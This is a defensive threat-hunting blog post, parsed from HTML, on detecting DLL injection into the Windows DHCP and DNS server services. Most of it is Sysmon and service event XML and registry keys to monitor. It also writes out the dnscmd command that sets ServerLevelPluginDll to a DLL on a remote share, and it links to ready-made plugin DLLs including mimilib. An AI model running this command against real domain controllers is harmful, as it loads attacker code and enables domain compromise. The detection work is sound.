monitor for changes in the registry with Sysmon:</p>
<table>
<thead>
<tr>
<th>Source</th>
<th>EventID</th>
<th>Fields</th>
<th>Details</th>
</tr>
</thead>
<tbody>
<tr>
<td>Sysmon</td>
<td>13</td>
<td>TargetObject</td>
<td>\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DHCPServer\Parameters\CalloutDlls</td>
</tr>
<tr>
<td>Sysmon</td>
<td>13</td>
<td>TargetObject</td>
<td>\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DHCPServer\Parameters\CalloutEnabled</td>
</tr>
</tbody>
</table>
<p>See attachment #3 and #4 for the full Syslog Event XML data.</p>
<h3>attachment #1</h3>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="nt"><Event</span><span class="w"> </span><span class="na">xmlns=</span><span class="s">"http://schemas.microsoft.com/win/2004/08/events/event"</span><span class="nt">></span>
<span class="w"> </span><span class="nt"><System></span>
<span class="w"> </span><span class="nt"><Provider</span><span class="w"> </span><span class="na">Name=</span><span class="s">"Microsoft-Windows-DHCP-Server"</span><span class="w"> </span><span class="na">Guid=</span><span class="s">"{6D64F02C-A125-4DAC-9A01-F0555B41CA84}"</span><span class="w"> </span><span class="na">EventSourceName=</span><span class="s">"DhcpServer"</span><span class="w"> </span><span class="nt">/></span>
<span class="w"> </span><span class="nt"><EventID</span><span class="w"> </span><span class="na">Qualifiers=</span><span class="s">"0"</span><span class="nt">></span>1033<span class="nt"></EventID></span>
<span class="w"> </span><span class="nt"><Version></span>0<span class="nt"></Version></span>
<span class="w"> </span><span class="nt"><Level></span>4<span class="nt"></Level></span>
<span class="w"> </span><span class="nt"><Task></span>0<span class="nt"></Task></span>
<span class="w"> </span><span class="nt"><Opcode></span>0<span class="nt"></Opcode></span>
<span class="w"> </span><span class="nt"><Keywords></span>0x80000000000000<span class="nt"></Keywords></span>
<span class="w"> </span><span class="nt"><TimeCreated</span><span class="w"> </span><span class="na">SystemTime=</span><span class="s">"2017-05-10T16:46:59.000000000Z"</span><span class="w"> </span><span class="nt">/></span>
<span class="w"> </span>EventRecordID>6653<span class="nt"></EventRecordID></span>
<span class="w"> </span><span class="nt"><Correlation</span><span class="w"> </span><span class="nt">/></span>
<span class="w"> </span><span class="nt"><Execution</span><span class="w"> </span><span class="na">ProcessID=</span><span class="s">"0"</span><span class="w"> </span><span class="na">ThreadID=</span><span class="s">"0"</span><span class="w"> </span><span class="nt">/></span>
<span class="w"> </span><span class="nt"><Channel></span>System<span class="nt"></Channel></span>
<span class="w"> </span><span class="nt"><Computer></span>dc1.lab.internal<span class="nt"></Computer></span>
<span class="w"> </span><span class="nt"><Security</span><span class="w"> </span><span class="nt">/></span>
<span class="w"> </span><span class="nt"></System></span>
<span class="w"> </span><span class="nt"><EventData></span>
<span class="w"> </span><span class="nt"><Data></span>Der<span class="w"> </span>Vorgang<span class="w"> </span>wurde<span class="w"> </span>erfolgreich<span class="w"> </span>beendet.<span class="nt"></Data></span>
<span class="w"> </span><span class="nt"><Binary></span>00000000<span class="nt"></Binary></span>
<span class="w"> </span><span class="nt"></EventData></span>
<span class="w"> </span><span class="nt"></Event></span>
</code></pre></div>
<h3>attachment #2</h3>
<div class="highlight"><pre><span></span><code><span class="w"> </span><span class="nt"><Event</span><span class="w"> </span><span class="na">xmlns=</span><span class="s">"http://schemas.microsoft.com/win/2004/08/events/event"</span><span class="nt">></span>
<span class="w"> </span><span class="nt"><System></span>
<span class="w"> </span><span class="nt"><Provider</span><span class="w"> </span><span class="na">Name=</span><span class="s">"Microsoft-Windows-DHCP-Server"</span>
<span class="w"> </span><span class="na">Guid=</span><span class="s">"{6D64F02C-A125-4DAC-9A01-F0555B41CA84}"</span><span class="w"> </span><span class="na">EventSourceName=</span><span class="s">"DhcpServer"</span><span class="w"> </span><span class="nt">/></span>
<span class="w"> </span><span class="nt"><EventID</span><span class="w"> </span><span class="na">Qualifiers=</span><span class="s">"0"</span><span class="nt">></span>1034<span class="nt"></EventID></span>
<span class="w"> </span><span class="nt"><Version></span>0<span class="nt"></Version></span>
<span class="w"> </span><span class="nt"><Level></span>3<span class="nt"></Level></span>
<span class="w"> </span><span class="nt"><Task></span>0<span class="nt"></Task></span>
<span class="w"> </span><span class="nt"><Opcode></span>0<span class="nt"></Opcode></span>
<span class="w"> </span><span class="nt"><Keywords></span>0x80000000000000<span class="nt"></Keywords></span>
<span class="w"> </span><span class="nt"><TimeCreated</span><span class="w"> </span><span class="na">SystemTime=</span><span class="s">"2017-05-10T17:30:35.000000000Z"</span><span class="w"> </span><span class="nt">/></span>
<span class="w"> </span><span class="nt"><EventRecordID></span>6659<span class="nt"></EventRecordID></span>
<span class="w"> </span><span class="nt"><Correlation</span><span class="w"> </span><span class="nt">/></span>
<span class="w"> </span><span class="nt"><Execution</span><span class="w"> </span><span class="na">ProcessID=</span><span class="s">"0"</span><span class="w"> </span><span class="na">ThreadID=</span><span class="s">"0"</span><span class="w"> </span><span class="nt">/></span>
<span class="w"> </span><span class="nt"><Channel></span>System<span class="nt"></Channel></span>
<span class="w"> </span><span class="nt"><Computer></span>dc1.lab.internal<span class="nt"></Computer></span>
<span class="w"> </span><span class="nt"><Security</span><span class="w"> </span><span class="nt">/></span>
<span class="w"> </span><span class="nt"></System></span>
<span class="w"> </span>-<span class="w"> </span><span class="nt"><EventData></span>
<span class="w"> </span><span class="nt"><Data></span>%1<span class="w"> </span>ist<span class="w"> </span>keine<span class="w"> </span>zulässige<span class="w"> </span>Win32-Anwendung.<span class="nt"></Data></span>
</code></pre></div>
<h3>attachment #3</h3>
<div class="highlight"><pre><span></span><code>-<span class="w"> </span><span class="nt"><Event</span><span class="w"> </span><span class="na">xmlns=</span><span class="s">"http://schemas.microsoft.com/win/2004/08/events/event"</span><span class="nt">></span><span class="w"> </span>
-<span class="w"> </span><span class="nt"><System></span><span class="w"> </span>
<span class="nt"><Provider</span><span class="w"> </span><span class="na">Name=</span><span class="s">"Microsoft-Windows-Sysmon"</span><span class="w"> </span><span class="na">Guid=</span><span class="s">"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="nt"><EventID></span>13<span class="nt"></EventID></span><span class="w"> </span>
<span class="nt"><Version></span>2<span class="nt"></Version></span><span class="w"> </span>
<span class="nt"><Level></span>4<span class="nt"></Level></span><span class="w"> </span>
<span class="nt"><Task></span>13<span class="nt"></Task></span><span class="w"> </span>
<span class="nt"><Opcode></span>0<span class="nt"></Opcode></span><span class="w"> </span>
<span class="nt"><Keywords></span>0x8000000000000000<span class="nt"></Keywords></span><span class="w"> </span>
<span class="nt"><TimeCreated</span><span class="w"> </span><span class="na">SystemTime=</span><span class="s">"2017-05-11T11:12:46.430391500Z"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="nt"><EventRecordID></span>16483<span class="nt"></EventRecordID></span><span class="w"> </span>
<span class="nt"><Correlation</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="nt"><Execution</span><span class="w"> </span><span class="na">ProcessID=</span><span class="s">"1264"</span><span class="w"> </span><span class="na">ThreadID=</span><span class="s">"2980"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="nt"><Channel></span>Microsoft-Windows-Sysmon/Operational<span class="nt"></Channel></span><span class="w"> </span>
<span class="nt"><Computer></span>dc1.lab.internal<span class="nt"></Computer></span><span class="w"> </span>
<span class="nt"><Security</span><span class="w"> </span><span class="na">UserID=</span><span class="s">"S-1-5-18"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="nt"></System></span><span class="w"> </span>
-<span class="w"> </span><span class="nt"><EventData></span><span class="w"> </span>
<span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"EventType"</span><span class="nt">></span>SetValue<span class="nt"></Data></span><span class="w"> </span>
<span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"UtcTime"</span><span class="nt">></span>2017-05-11<span class="w"> </span>11:12:46.429<span class="nt"></Data></span><span class="w"> </span>
<span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"ProcessGuid"</span><span class="nt">></span>{85D1CFA0-8027-5911-0000-0010B5836E00}<span class="nt"></Data></span><span class="w"> </span>
<span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"ProcessId"</span><span class="nt">></span>3804<span class="nt"></Data></span><span class="w"> </span>
<span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"Image"</span><span class="nt">></span>C:\Windows\regedit.exe<span class="nt"></Data></span><span class="w"> </span>
<span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"TargetObject"</span><span class="nt">></span>\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DHCPServer\Parameters\CalloutDlls<span class="nt"></Data></span><span class="w"> </span>
<span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"Details"</span><span class="nt">></span>Binary<span class="w"> </span>Data<span class="nt"></Data></span><span class="w"> </span>
<span class="nt"></EventData></span><span class="w"> </span>
<span class="nt"></Event></span>
</code></pre></div>
<h3>attachment #4</h3>
<div class="highlight"><pre><span></span><code>-<span class="w"> </span><span class="nt"><Event</span><span class="w"> </span><span class="na">xmlns=</span><span class="s">"http://schemas.microsoft.com/win/2004/08/events/event"</span><span class="nt">></span><span class="w"> </span>
-<span class="w"> </span><span class="nt"><System></span><span class="w"> </span>
<span class="nt"><Provider</span><span class="w"> </span><span class="na">Name=</span><span class="s">"Microsoft-Windows-Sysmon"</span><span class="w"> </span><span class="na">Guid=</span><span class="s">"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="nt"><EventID></span>13<span class="nt"></EventID></span><span class="w"> </span>
<span class="nt"><Version></span>2<span class="nt"></Version></span><span class="w"> </span>
<span class="nt"><Level></span>4<span class="nt"></Level></span><span class="w"> </span>
<span class="nt"><Task></span>13<span class="nt"></Task></span><span class="w"> </span>
<span class="nt"><Opcode></span>0<span class="nt"></Opcode></span><span class="w"> </span>
<span class="nt"><Keywords></span>0x8000000000000000<span class="nt"></Keywords></span><span class="w"> </span>
<span class="nt"><TimeCreated</span><span class="w"> </span><span class="na">SystemTime=</span><span class="s">"2017-05-11T11:12:40.404721300Z"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="nt"><EventRecordID></span>16482<span class="nt"></EventRecordID></span><span class="w"> </span>
<span class="nt"><Correlation</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="nt"><Execution</span><span class="w"> </span><span class="na">ProcessID=</span><span class="s">"1264"</span><span class="w"> </span><span class="na">ThreadID=</span><span class="s">"2980"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="nt"><Channel></span>Microsoft-Windows-Sysmon/Operational<span class="nt"></Channel></span><span class="w"> </span>
<span class="nt"><Computer></span>dc1.lab.internal<span class="nt"></Computer></span><span class="w"> </span>
<span class="nt"><Security</span><span class="w"> </span><span class="na">UserID=</span><span class="s">"S-1-5-18"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="nt"></System></span><span class="w"> </span>
-<span class="w"> </span><span class="nt"><EventData></span><span class="w"> </span>
<span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"EventType"</span><span class="nt">></span>SetValue<span class="nt"></Data></span><span class="w"> </span>
<span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"UtcTime"</span><span class="nt">></span>2017-05-11<span class="w"> </span>11:12:40.403<span class="nt"></Data></span><span class="w"> </span>
<span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"ProcessGuid"</span><span class="nt">></span>{85D1CFA0-8027-5911-0000-0010B5836E00}<span class="nt"></Data></span><span class="w"> </span>
<span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"ProcessId"</span><span class="nt">></span>3804<span class="nt"></Data></span><span class="w"> </span>
<span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"Image"</span><span class="nt">></span>C:\Windows\regedit.exe<span class="nt"></Data></span><span class="w"> </span>
<span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"TargetObject"</span><span class="nt">></span>\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DHCPServer\Parameters\CalloutEnabled<span class="nt"></Data></span><span class="w"> </span>
<span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"Details"</span><span class="nt">></span>DWORD<span class="w"> </span>(0x00000001)<span class="nt"></Data></span><span class="w"> </span>
<span class="nt"></EventData></span><span class="w"> </span>
<span class="nt"></Event></span>
</code></pre></div>Hunting DNS Server Level Plugin dll injection2017-05-09T22:22:00+02:002016-05-09T22:22:00+02:00dimitag:blog.3or.de,2017-05-09:/hunting-dns-server-level-plugin-dll-injection.html<p>The Windows DNS Server management protocol, which is based on RPC, allows DnsAdmins and higher privileged Users to load arbitary dlls as plugins into the DNS service via DnssrvOperation2. Here's how to monitor for that event.</p><p>This post is accompanying my addition to the
<a href="https://github.com/VVard0g/ThreatHunter-Playbook">ThreatHunter-Playbook</a> to
enhance the IOC I added there with some details to detect the DNS server level plugin dll injection, published this week.
I am not going to make a detailed description for that attack, as there are already plenty of great ressources:</p>
<ul>
<li><a href="https://medium.com/@esnesenon/feature-not-bug-dnsadmin-to-dc-compromise-in-one-line-a0f779b8dc83">Feature, not bug: DNSAdmin to DC compromise in one line</a>.</li>
<li><a href="http://www.labofapenetrationtester.com/2017/05/abusing-dnsadmins-privilege-for-escalation-in-active-directory.html">Abusing DNSAdmins privilege for escalation in Active Directory</a></li>
</ul>
<p>If you want to play with this DNS server feature just use one of the following
DNS Server ready-to-use DNS server level plugin dlls:</p>
<ul>
<li><a href="https://github.com/dim0x69/dns-exe-persistance">VCC project on my GitHub</a></li>
<li><a href="https://github.com/gentilkiwi/mimikatz">mimilib is also ready</a></li>
</ul>
<p>We assume the attacker has a privileged user to reconfigure the DNS service:</p>
<p>The attack has to be executed in two steps:</p>
<ol>
<li>
<p>dnscmd.exe dc1.lab.internal /config /serverlevelplugindll \192.168.0.149\dll\wtf.dll</p>
<ul>
<li>Whereas the dll has to be as a special DNS server plugin dll.
(<a href="https://github.com/dim0x69/dns-exe-persistance/tree/master/dns-plugindll-vcpp">my GitHub</a>)</li>
<li>A registry parameter gets added: HKEY_LOCAL_MACHINE\SYSTEM\CurrentControlSet\services\DNS\Parameters\ServerLevelPluginDll and set to the value \\192.168.0.149\dll\wtf.dll</li>
</ul>
</li>
<li>
<p>The DNS service gets restarted</p>
<ul>
<li>The DLL is loaded into dns.exe and the API functions are called.</li>
</ul>
</li>
</ol>
<h2>Additional DLLs loaded</h2>
<p>If a DNS server plugin gets added to the DNS there are two dlls loaded
additionally to the default ones and the specified plugin dll, which may be required especially when the plugin dll is located on a network share.</p>
<ul>
<li>C:\Windows\System32\icmp.dll</li>
<li>C:\Windows\System32\oleaut32.dll</li>
<li>\\192.168.0.149\dll\wtf.dll (the specified plugin dll)</li>
</ul>
<p>You can download the raw data of the intersection (2 at the last column means
loaded in both cases plugin / no plugin)
<a href="images/dns-serverlevel-plugin-intersection.csv">here</a>.</p>
<h2>events triggered: executing dnscmd</h2>
<ul>
<li>dnscmd dc1 /config /serverlevelplugindll \192.168.0.149\dll\wtf.dll</li>
</ul>
<div class="highlight"><pre><span></span><code>-<span class="w"> </span><span class="nt"><Event</span><span class="w"> </span><span class="na">xmlns=</span><span class="s">"http://schemas.microsoft.com/win/2004/08/events/event"</span><span class="nt">></span>
-<span class="w"> </span><span class="nt"><System></span>
<span class="w"> </span><span class="nt"><Provider</span><span class="w"> </span><span class="na">Name=</span><span class="s">"Microsoft-Windows-Sysmon"</span><span class="w"> </span><span class="na">Guid=</span><span class="s">"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><EventID></span>13<span class="nt"></EventID></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Version></span>2<span class="nt"></Version></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Level></span>4<span class="nt"></Level></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Task></span>13<span class="nt"></Task></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Opcode></span>0<span class="nt"></Opcode></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Keywords></span>0x8000000000000000<span class="nt"></Keywords></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><TimeCreated</span><span class="w"> </span><span class="na">SystemTime=</span><span class="s">"2017-05-09T08:52:35.589834200Z"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><EventRecordID></span>8435<span class="nt"></EventRecordID></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Correlation</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Execution</span><span class="w"> </span><span class="na">ProcessID=</span><span class="s">"1264"</span><span class="w"> </span><span class="na">ThreadID=</span><span class="s">"2980"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Channel></span>Microsoft-Windows-Sysmon/Operational<span class="nt"></Channel></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Computer></span>dc1.lab.internal<span class="nt"></Computer></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Security</span><span class="w"> </span><span class="na">UserID=</span><span class="s">"S-1-5-18"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"></System></span>
-<span class="w"> </span><span class="nt"><EventData></span>
<span class="w"> </span><span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"EventType"</span><span class="nt">></span>SetValue<span class="nt"></Data></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"UtcTime"</span><span class="nt">></span>2017-05-09<span class="w"> </span>08:52:35.589<span class="nt"></Data></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"ProcessGuid"</span><span class="nt">></span>{85D1CFA0-7DCD-5911-0000-0010F4196600}<span class="nt"></Data></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"ProcessId"</span><span class="nt">></span>3388<span class="nt"></Data></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"Image"</span><span class="nt">></span>C:\Windows\system32\dns.exe<span class="nt"></Data></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"TargetObject"</span><span class="nt">></span>\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\DNS\Parameters\ServerLevelPluginDll<span class="nt"></Data></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"Details"</span><span class="nt">></span>\\192.168.0.149\dll\wtf.dll<span class="nt"></Data></span><span class="w"> </span>
<span class="w"> </span><span class="nt"></EventData></span>
<span class="w"> </span><span class="nt"></Event></span>
</code></pre></div>
<div class="highlight"><pre><span></span><code>-<span class="w"> </span><span class="nt"><Event</span><span class="w"> </span><span class="na">xmlns=</span><span class="s">"http://schemas.microsoft.com/win/2004/08/events/event"</span><span class="nt">></span>
-<span class="w"> </span><span class="nt"><System></span>
<span class="w"> </span><span class="nt"><Provider</span><span class="w"> </span><span class="na">Name=</span><span class="s">"Microsoft-Windows-DNSServer"</span><span class="w"> </span><span class="na">Guid=</span><span class="s">"{EB79061A-A566-4698-9119-3ED2807060E7}"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><EventID></span>541<span class="nt"></EventID></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Version></span>0<span class="nt"></Version></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Level></span>4<span class="nt"></Level></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Task></span>10<span class="nt"></Task></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Opcode></span>0<span class="nt"></Opcode></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Keywords></span>0x4000000008000000<span class="nt"></Keywords></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><TimeCreated</span><span class="w"> </span><span class="na">SystemTime=</span><span class="s">"2017-05-09T08:52:35.589834200Z"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><EventRecordID></span>148<span class="nt"></EventRecordID></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Correlation</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Execution</span><span class="w"> </span><span class="na">ProcessID=</span><span class="s">"3388"</span><span class="w"> </span><span class="na">ThreadID=</span><span class="s">"3928"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Channel></span>Microsoft-Windows-DNSServer/Audit<span class="nt"></Channel></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Computer></span>dc1.lab.internal<span class="nt"></Computer></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Security</span><span class="w"> </span><span class="na">UserID=</span><span class="s">"S-1-5-21-764058423-2567595003-319586131-1001"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"></System></span>
-<span class="w"> </span><span class="nt"><EventData></span>
<span class="w"> </span><span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"Setting"</span><span class="nt">></span>serverlevelplugindll<span class="nt"></Data></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"Scope"</span><span class="nt">></span>.<span class="nt"></Data></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"NewValue"</span><span class="nt">></span>\\192.168.0.149\dll\wtf.dll<span class="nt"></Data></span><span class="w"> </span>
<span class="w"> </span><span class="nt"></EventData></span>
<span class="w"> </span><span class="nt"></Event></span>
</code></pre></div>
<h2>events triggered: DNS service Restarted</h2>
<div class="highlight"><pre><span></span><code>-<span class="w"> </span><span class="nt"><Event</span><span class="w"> </span><span class="na">xmlns=</span><span class="s">"http://schemas.microsoft.com/win/2004/08/events/event"</span><span class="nt">></span>
-<span class="w"> </span><span class="nt"><System></span>
<span class="w"> </span><span class="nt"><Provider</span><span class="w"> </span><span class="na">Name=</span><span class="s">"Microsoft-Windows-DNS-Server-Service"</span><span class="w"> </span><span class="na">Guid=</span><span class="s">"{71A551F5-C893-4849-886B-B5EC8502641E}"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><EventID></span>771<span class="nt"></EventID></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Version></span>0<span class="nt"></Version></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Level></span>4<span class="nt"></Level></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Task></span>0<span class="nt"></Task></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Opcode></span>0<span class="nt"></Opcode></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Keywords></span>0x8000000000008000<span class="nt"></Keywords></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><TimeCreated</span><span class="w"> </span><span class="na">SystemTime=</span><span class="s">"2017-05-09T08:54:26.798142300Z"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><EventRecordID></span>263<span class="nt"></EventRecordID></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Correlation</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Execution</span><span class="w"> </span><span class="na">ProcessID=</span><span class="s">"2312"</span><span class="w"> </span><span class="na">ThreadID=</span><span class="s">"3068"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Channel></span>DNS<span class="w"> </span>Server<span class="nt"></Channel></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Computer></span>dc1.lab.internal<span class="nt"></Computer></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Security</span><span class="w"> </span><span class="na">UserID=</span><span class="s">"S-1-5-18"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"></System></span>
<span class="w"> </span><span class="nt"><EventData</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"></Event></span>
</code></pre></div>
<div class="highlight"><pre><span></span><code>-<span class="w"> </span><span class="nt"><Event</span><span class="w"> </span><span class="na">xmlns=</span><span class="s">"http://schemas.microsoft.com/win/2004/08/events/event"</span><span class="nt">></span>
-<span class="w"> </span><span class="nt"><System></span>
<span class="w"> </span><span class="nt"><Provider</span><span class="w"> </span><span class="na">Name=</span><span class="s">"Microsoft-Windows-DNS-Server-Service"</span><span class="w"> </span><span class="na">Guid=</span><span class="s">"{71A551F5-C893-4849-886B-B5EC8502641E}"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><EventID></span>770<span class="nt"></EventID></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Version></span>0<span class="nt"></Version></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Level></span>4<span class="nt"></Level></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Task></span>0<span class="nt"></Task></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Opcode></span>0<span class="nt"></Opcode></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Keywords></span>0x8000000000008000<span class="nt"></Keywords></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><TimeCreated</span><span class="w"> </span><span class="na">SystemTime=</span><span class="s">"2017-05-09T08:54:26.798142300Z"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><EventRecordID></span>264<span class="nt"></EventRecordID></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Correlation</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Execution</span><span class="w"> </span><span class="na">ProcessID=</span><span class="s">"2312"</span><span class="w"> </span><span class="na">ThreadID=</span><span class="s">"3068"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Channel></span>DNS<span class="w"> </span>Server<span class="nt"></Channel></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Computer></span>dc1.lab.internal<span class="nt"></Computer></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Security</span><span class="w"> </span><span class="na">UserID=</span><span class="s">"S-1-5-18"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"></System></span>
-<span class="w"> </span><span class="nt"><EventData</span><span class="w"> </span><span class="na">Name=</span><span class="s">"DNS_EVENT_PLUGIN_DLL_LOAD_OK"</span><span class="nt">></span>
<span class="w"> </span><span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"param1"</span><span class="nt">></span>\\192.168.0.149\dll\wtf.dll<span class="nt"></Data></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Data</span><span class="w"> </span><span class="na">Name=</span><span class="s">"param2"</span><span class="nt">></span>dc1.lab.internal<span class="nt"></Data></span><span class="w"> </span>
<span class="w"> </span><span class="nt"></EventData></span>
<span class="w"> </span><span class="nt"></Event></span>
</code></pre></div>
<div class="highlight"><pre><span></span><code>-<span class="w"> </span><span class="nt"><Event</span><span class="w"> </span><span class="na">xmlns=</span><span class="s">"http://schemas.microsoft.com/win/2004/08/events/event"</span><span class="nt">></span>
-<span class="w"> </span><span class="nt"><System></span>
<span class="w"> </span><span class="nt"><Provider</span><span class="w"> </span><span class="na">Name=</span><span class="s">"Microsoft-Windows-Sysmon"</span><span class="w"> </span><span class="na">Guid=</span><span class="s">"{5770385F-C22A-43E0-BF4C-06F5698FFBD9}"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><EventID></span>7<span class="nt"></EventID></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Version></span>3<span class="nt"></Version></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Level></span>4<span class="nt"></Level></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Task></span>7<span class="nt"></Task></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Opcode></span>0<span class="nt"></Opcode></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Keywords></span>0x8000000000000000<span class="nt"></Keywords></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><TimeCreated</span><span class="w"> </span><span class="na">SystemTime=</span><span class="s">"2017-05-09T08:54:26.836958500Z"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><EventRecordID></span>8712<span class="nt"></EventRecordID></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Correlation</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
<span class="w"> </span><span class="nt"><Execution</span><span class="w"> </span><span class="na">ProcessID=</span><span class="s">"1264"</span><span class="w"> </span><span class="na">ThreadID=</span><span class="s">"2980"</span><span class="w"> </span><span class="nt">/></span><span class="w"> </span>
